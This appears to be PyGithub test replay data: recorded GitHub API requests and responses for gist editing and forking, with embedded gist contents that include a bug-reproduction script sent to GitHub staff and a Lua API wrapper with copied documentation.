cnx.close()\n print verb, url, input, \"=>\", status, output\n print\n if status < 200 or status >= 300:\n exit( 1 )\n return json.loads( output )\n\n# Create a repo\ndoRequest( \"POST\", \"/user/repos\", { \"name\": repoName } )\n\n# Create a blob, a tree, a commit and the master branch\nb = doRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( login, repoName ),\n { \"content\": \"Content of the blob\", \"encoding\": \"latin1\" }\n)\nt = doRequest(\n \"POST\", \"/repos/%s/%s/git/trees\" % ( login, repoName ),\n { \"tree\" : [ { \"path\": \"foo.bar\", \"type\": \"blob\", \"mode\": \"100644\", \"sha\": b[\"sha\"] } ] }\n)\nc = doRequest(\n \"POST\", \"/repos/%s/%s/git/commits\" % ( login, repoName ),\n { \"parents\": [], \"message\": \"Message of the commit\", \"tree\": t[\"sha\"] }\n)\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/refs\" % ( login, repoName ),\n { \"ref\": \"refs/heads/master\", \"sha\": c[\"sha\"] }\n)\n\n# Fork the repo\ndoRequest( \"POST\", \"/repos/%s/%s/forks?org=%s\" % ( login, repoName, orgName ), None )\n\n# Create a new blob => BOOM error 500\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( orgName, repoName ),\n { \"content\": \"Content of the new blob\", \"encoding\": \"latin1\" }\n)\n","language":"Python"}},"html_url":"https://gist.github.com/2729810","git_push_url":"git@gist.github.com:2729810.git","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"How to error 500 Github API v3, as requested by Rick (GitHub Staff)","created_at":"2012-02-29T16:47:12Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/a40de483e42ba33bda308371c0ef8383db73be9e","change_status":{"deletions":0,"additions":52,"total":52},"committed_at":"2012-02-29T16:47:12Z","version":"a40de483e42ba33bda308371c0ef8383db73be9e","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}}]} https PATCH api.github.com None /gists/2729810 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"files": {"barbaz.txt": {"content": "File also created by PyGithub"}}, "description": "Description edited by PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '2759'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"14d4466c0580c6f8e9be17f81eb1c3b0"'), ('date', 'Sat, 19 May 2012 07:06:10 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-19T07:06:10Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","files":{"barbaz.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729810/92be1df4e473d2541c5c166ad145a39d0324de8b/barbaz.txt","size":29,"filename":"barbaz.txt","content":"File also created by PyGithub","language":"Text"},"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729810/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","content":"File created by PyGithub","language":"Text"}},"html_url":"https://gist.github.com/2729810","git_push_url":"git@gist.github.com:2729810.git","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"Description edited by PyGithub","created_at":"2012-05-19T07:00:58Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/67524fb6eb4883d979e8b4cf133003fa81a6a472","change_status":{"deletions":0,"additions":0,"total":0},"committed_at":"2012-05-19T07:06:10Z","version":"67524fb6eb4883d979e8b4cf133003fa81a6a472","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}},{"url":"https://api.github.com/gists/2729810/e730170a9599696a9d776f8bb5028b35f937b6de","change_status":{"deletions":0,"additions":1,"total":1},"committed_at":"2012-05-19T07:04:31Z","version":"e730170a9599696a9d776f8bb5028b35f937b6de","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}},{"url":"https://api.github.com/gists/2729810/35deb29ab1caf4c68c03d8244ad674b56de01a5c","change_status":{"deletions":0,"additions":1,"total":1},"committed_at":"2012-05-19T07:00:58Z","version":"35deb29ab1caf4c68c03d8244ad674b56de01a5c","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Gist.testEditWithoutParameters.txt0000644000175100001660000001306514756101563025026 0ustar00runnerdockerhttps GET api.github.com None /gists/2729810 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '3280'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b01fb6ac81527f99db9f6f586b048ee3"'), ('date', 'Sat, 19 May 2012 06:58:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-02-29T16:47:12Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","files":{"fail_github.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2729810/2fb3aa84e0efa50dc0f4c18b5df5b7b9ab27076b/fail_github.py","size":1636,"filename":"fail_github.py","content":"import httplib\nimport base64\nimport json\n\nlogin = \"\"\npassword = \"\"\norgName = \"\"\nrepoName = \"FailGithubApi\"\n\ndef doRequest( verb, url, input ):\n input = json.dumps( input )\n cnx = httplib.HTTPSConnection( \"api.github.com\", strict = True )\n cnx.request( verb, url, input, { \"Authorization\" : \"Basic \" + base64.b64encode( login + \":\" + password ).replace( '\\n', '' ) } )\n response = cnx.getresponse()\n status = response.status\n output = response.read()\n cnx.close()\n print verb, url, input, \"=>\", status, output\n print\n if status < 200 or status >= 300:\n exit( 1 )\n return json.loads( output )\n\n# Create a repo\ndoRequest( \"POST\", \"/user/repos\", { \"name\": repoName } )\n\n# Create a blob, a tree, a commit and the master branch\nb = doRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( login, repoName ),\n { \"content\": \"Content of the blob\", \"encoding\": \"latin1\" }\n)\nt = doRequest(\n \"POST\", \"/repos/%s/%s/git/trees\" % ( login, repoName ),\n { \"tree\" : [ { \"path\": \"foo.bar\", \"type\": \"blob\", \"mode\": \"100644\", \"sha\": b[\"sha\"] } ] }\n)\nc = doRequest(\n \"POST\", \"/repos/%s/%s/git/commits\" % ( login, repoName ),\n { \"parents\": [], \"message\": \"Message of the commit\", \"tree\": t[\"sha\"] }\n)\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/refs\" % ( login, repoName ),\n { \"ref\": \"refs/heads/master\", \"sha\": c[\"sha\"] }\n)\n\n# Fork the repo\ndoRequest( \"POST\", \"/repos/%s/%s/forks?org=%s\" % ( login, repoName, orgName ), None )\n\n# Create a new blob => BOOM error 500\ndoRequest(\n \"POST\", \"/repos/%s/%s/git/blobs\" % ( orgName, repoName ),\n { \"content\": \"Content of the new blob\", \"encoding\": \"latin1\" }\n)\n","language":"Python"}},"html_url":"https://gist.github.com/2729810","git_push_url":"git@gist.github.com:2729810.git","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"How to error 500 Github API v3, as requested by Rick (GitHub Staff)","created_at":"2012-02-29T16:47:12Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/a40de483e42ba33bda308371c0ef8383db73be9e","change_status":{"deletions":0,"additions":52,"total":52},"committed_at":"2012-02-29T16:47:12Z","version":"a40de483e42ba33bda308371c0ef8383db73be9e","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}}]} https PATCH api.github.com None /gists/2729810 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('content-length', '1446'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9d90688efdf43c600be9c6c068f007dd"'), ('date', 'Sat, 19 May 2012 07:03:55 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-19T07:00:58Z","git_push_url":"git@gist.github.com:2729810.git","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729810/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","content":"File created by PyGithub","language":"Text"}},"html_url":"https://gist.github.com/2729810","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"Gist created by PyGithub","created_at":"2012-05-19T07:00:58Z","id":"2729810","history":[{"url":"https://api.github.com/gists/2729810/35deb29ab1caf4c68c03d8244ad674b56de01a5c","version":"35deb29ab1caf4c68c03d8244ad674b56de01a5c","change_status":{"deletions":0,"additions":1,"total":1},"committed_at":"2012-05-19T07:00:58Z","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}}],"git_pull_url":"git://gist.github.com/2729810.git"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Gist.testFork.txt0000644000175100001660000015617214756101563021441 0ustar00runnerdockerhttps GET api.github.com None /gists/6296553 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '25285'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:26:50 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"b96b3895f5da8f5e9533f0db72748a49"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 16:28:20 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377104997')] {"url":"https://api.github.com/gists/6296553","forks_url":"https://api.github.com/gists/6296553/forks","commits_url":"https://api.github.com/gists/6296553/commits","id":"6296553","git_pull_url":"https://gist.github.com/6296553.git","git_push_url":"https://gist.github.com/6296553.git","html_url":"https://gist.github.com/6296553","files":{"GithubAPI.lua":{"filename":"GithubAPI.lua","type":"text/plain","language":"Lua","raw_url":"https://gist.github.com/raw/6296553/88aafa25fb28e17013054a117354a37f0d78963c/GithubAPI.lua","size":21229,"content":"-- GithubAPI\n-- @Author : Hyro Vitaly Protago\n-- @Version : 1.0.0\n\n--[[\n\nINFOS :\n - Cannot delete an anonymous gist\n]]--\n\nGithubAPI = {\n\tlocation = \"https://api.github.com/\",\n\ttoken = nil,\n\tOAuth = {\n\t\tauthorizations = {}\n\t},\n\tgist = {\n\t\tlist = {},\n\t\tcomment = {}\n\t},\n\tgithub = {}\n}\n\n----------------------------------------------------------------------------\n------------------------------ Github API ----------------------------------\n----------------------------------------------------------------------------\n\n--- Authentication ---\n\n--[[ Scopes --\n\nScopes let you specify exactly what type of access you need. Scopes limit access for OAuth tokens.\nThey do not grant any additional permission beyond that which the user already has.\n\nFor the web flow, requested scopes will be displayed to the user on the authorize form.\n\nCheck headers to see what OAuth scopes you have, and what the API action accepts.\n\n~~~\n$ curl -H \"Authorization: token OAUTH-TOKEN\" https://api.github.com/users/technoweenie -I\nHTTP/1.1 200 OK\nX-OAuth-Scopes: repo, user\nX-Accepted-OAuth-Scopes: user\nX-OAuth-Scopes lists the scopes your token has authorized. X-Accepted-OAuth-Scopes lists the scopes that the action checks for.\n~~~\n\n- (no scope)\npublic read-only access (includes public user profile info, public repo info, and gists).\n- user\nRead/write access to profile info only. Note: this scope includes user:email and user:follow.\n- user:email\nRead access to a user’s email addresses.\n- user:follow\nAccess to follow or unfollow other users.\n- public_repo\nRead/write access to public repos and organizations.\n- repo\nRead/write access to public and private repos and organizations.\n- repo:status\nRead/write access to public and private repository commit statuses.\nThis scope is only necessary to grant other users or services access to private repository commit statuses without granting access to the code.\nThe repo and public_repo scopes already include access to commit status for private and public repositories respectively.\n- delete_repo\nDelete access to adminable repositories.\n- notifications\nRead access to a user’s notifications. repo is accepted too.\n- gist\nWrite access to gists.\n\nNOTE: Your application can request the scopes in the initial redirection. You can specify multiple scopes by separating them by a comma.\n~~~\nhttps://github.com/login/oauth/authorize?\n client_id=...&\n scope=user,public_repo\n~~~\n]]--\n\n-- Redirect users to request GitHub access --\nfunction GithubAPI.OAuth.getToken(client_id, scope, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/authorize?client_id=\"..client_id..\"&scope=\"..scope, function(data, status, headers)\n\t\tGithubAPI.OAuth._getToken(client_id, client_secret, data, callback)\n\tend, nil, true)\nend\n-- GitHub redirects back to your site --\nfunction GithubAPI.OAuth._getToken(client_id, client_secret, code, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/access_token\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret,\n\t\t\tcode = code\n\t\t}\n\t}, true)\nend\n\n-- List your authorizations --\nfunction GithubAPI.OAuth.authorizations.list(callback)\n\tGithubAPI.http_request(\"authorizations\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n }\n]\n]]--\n\n-- Get a single authorization --\nfunction GithubAPI.OAuth.authorizations.get(id, callback)\n\tGithubAPI.http_request(\"authorizations/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- Create a new authorization --\nfunction GithubAPI.OAuth.authorizations.create(callback, scopes, note, note_url, client_id, client_secret)\n\tGithubAPI.http_request(\"authorizations/\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tscopes = scopes,\n\t\t\tnote = note,\n\t\t\tnote_url = note_url,\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret\n\t\t}\n\t})\nend\n\n--[[ Input --\nscopes\nOptional array - A list of scopes that this authorization is in.\n\nnote\nOptional string - A note to remind you what the OAuth token is for.\n\nnote_url\nOptional string - A URL to remind you what app the OAuth token is for.\n\nclient_id\nOptional String - The 20 character OAuth app client key for which to create the token.\n\nclient_secret\nOptional String - The 40 character OAuth app client secret for which to create the token.\n~~~\n{\n \"scopes\": [\n \"public_repo\"\n ],\n \"note\": \"admin script\"\n}\n~~~\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/authorizations/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- TODO\n-- Update\n-- Check\n-- Delete\n\n--- GISTS ---\n\n-- List gists --\nfunction GithubAPI.gist.list.user(user, callback)\n\tGithubAPI.http_request(\"users/\"..user..\"/gists\", callback)\nend\nfunction GithubAPI.gist.list.all(callback) -- return all public gists if called anonymously\n\tGithubAPI.http_request(\"gists\", callback)\nend\nfunction GithubAPI.gist.list.allPublic(callback)\n\tGithubAPI.http_request(\"gists/public\", callback)\nend\nfunction GithubAPI.gist.list.starred(callback)\n\tGithubAPI.http_request(\"gists/starred\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n }\n]\n]]--\n\n-- Get a single gist --\nfunction GithubAPI.gist.get(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Create a gist --\nfunction GithubAPI.gist.create(public, files, callback ,description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tpublic = public,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"public\": true,\n \"files\": {\n \"file1.txt\": {\n \"content\": \"String file contents\"\n }\n }\n}\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Edit a gist --\nfunction GithubAPI.gist.edit(id, files, callback, description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tid = id,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"files\": {\n \"file1.txt\": {\n \"content\": \"updated file contents\"\n },\n \"old_name.txt\": {\n \"filename\": \"new_name.txt\",\n \"content\": \"modified contents\"\n },\n \"new_file.txt\": {\n \"content\": \"a new file\"\n },\n \"delete_this_file.txt\": null\n }\n}\n]]--\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Star a gist --\nfunction GithubAPI.gist.star(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"PUT\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Unstar a gist --\nfunction GithubAPI.gist.unstar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Check if a gist is starred --\nfunction GithubAPI.gist.checkStar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback)\nend\n\n--[[\n-- Response if gist is starred --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n\n-- Response if gist is not starred --\nStatus: 404 Not Found\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Fork a gist --\nfunction GithubAPI.gist.fork(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/forks\", callback, {method=\"POST\"})\nend\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/2\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": 